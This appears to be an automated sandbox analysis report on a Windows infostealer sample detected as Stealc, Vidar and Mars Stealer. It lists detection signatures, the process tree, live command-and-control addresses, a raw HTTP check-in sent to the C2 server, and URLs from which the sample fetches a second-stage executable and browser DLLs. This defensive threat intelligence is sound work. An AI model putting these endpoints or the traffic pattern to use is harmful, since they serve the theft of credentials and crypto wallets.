Edit tour

Windows Analysis Report
bUcIhJ4VHm.exe

Overview

General Information

Sample name:	bUcIhJ4VHm.exe renamed because original name is a hash value
Original sample name:	f9f0b2b6c628789336ab905f82269982.exe
Analysis ID:	1431855
MD5:	f9f0b2b6c628789336ab905f82269982
SHA1:	3d98fff19ff36e1bb307e885bc22bf7d2e84e941
SHA256:	c33bc714fc0af2273157acd48be009b787742f2711fd6d5f81fc0c85a54a4e41
Tags:	32exe
Infos:

Detection

Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

bUcIhJ4VHm.exe (PID: 6760 cmdline: "C:\Users\user\Desktop\bUcIhJ4VHm.exe" MD5: F9F0B2B6C628789336AB905F82269982)

cmd.exe (PID: 6204 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

JKJEHJKJEB.exe (PID: 2300 cmdline: "C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe" MD5: 6C93FC68E2F01C20FB81AF24470B790C)

WerFault.exe (PID: 6096 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 2252 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.172.128.76/3cd2b41cbde8fc9c.php"}

Threatname: Vidar

{"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1986444186.0000000003130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.1986444186.0000000003130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2443243646.0000000002F17000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xd48:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: bUcIhJ4VHm.exe PID: 6760	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: bUcIhJ4VHm.exe PID: 6760	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bUcIhJ4VHm.exe PID: 6760	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.bUcIhJ4VHm.exe.3130000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.bUcIhJ4VHm.exe.3130000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.bUcIhJ4VHm.exe.3100e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.bUcIhJ4VHm.exe.3100e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.3.bUcIhJ4VHm.exe.3130000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.bUcIhJ4VHm.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.bUcIhJ4VHm.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.bUcIhJ4VHm.exe.3100e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.bUcIhJ4VHm.exe.3100e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.bUcIhJ4VHm.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.bUcIhJ4VHm.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.3.bUcIhJ4VHm.exe.3130000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 7 entries

Snort Signatures

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 185.172.128.76

Timestamp:	04/25/24-21:47:52.888960
SID:	2044246
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 185.172.128.76

Timestamp:	04/25/24-21:47:52.567945
SID:	2044244
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 185.172.128.76 - Destination IP: 192.168.2.5

Timestamp:	04/25/24-21:47:53.207078
SID:	2051831
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 185.172.128.76

Timestamp:	04/25/24-21:47:52.038515
SID:	2044243
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 185.172.128.76 - Destination IP: 192.168.2.5

Timestamp:	04/25/24-21:47:52.887465
SID:	2051828
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJHost: 185.172.128.76Content-Length: 215Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 37 44 36 43 43 45 36 31 38 39 35 31 34 37 30 31 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="hwid"107D6CCE6189514701825------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="build"default10------FHIEBKKFHIEGCAKECGHJ--

Source: bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2459629952.00000000293D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exe
Source: bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exe00
Source: bUcIhJ4VHm.exe, 00000000.00000002.2459629952.00000000293D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exeq
Source: bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exet-Disposition:
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/freebl3.dll
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/mozglue.dll
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/mozglue.dllB
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/msvcp140.dllL
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/msvcp140.dllP
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/nss3.dll
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/softokn3.dll
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/sqlite3.dll
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/vcruntime140.dll
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/vcruntime140.dllK
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php
Source: bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php2d6c41453d0c85f468b78951f73ec-release80c3c777a51d62c363839
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phps
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpt
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76rf
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.8.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: bUcIhJ4VHm.exe, bUcIhJ4VHm.exe, 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464714952.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: bUcIhJ4VHm.exe, 00000000.00000003.2110663130.000000002F5C9000.00000004.00000020.00020000.00000000.sdmp, AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: bUcIhJ4VHm.exe, 00000000.00000003.2110663130.000000002F5C9000.00000004.00000020.00020000.00000000.sdmp, AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: bUcIhJ4VHm.exe, 00000000.00000003.2110663130.000000002F5C9000.00000004.00000020.00020000.00000000.sdmp, AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe

Code function: 6_2_004E2590 CreateMutexA,GetLastError,ExitProcess,OpenClipboard,GetClipboardData,GlobalFix,EmptyClipboard,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,GlobalFree,CloseClipboard,Sleep,

6_2_004E2590

Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe

6_2_004E2590

Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe

6_2_004E2590

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2443243646.0000000002F17000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD4B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CD4B700
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD4B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CD4B8C0
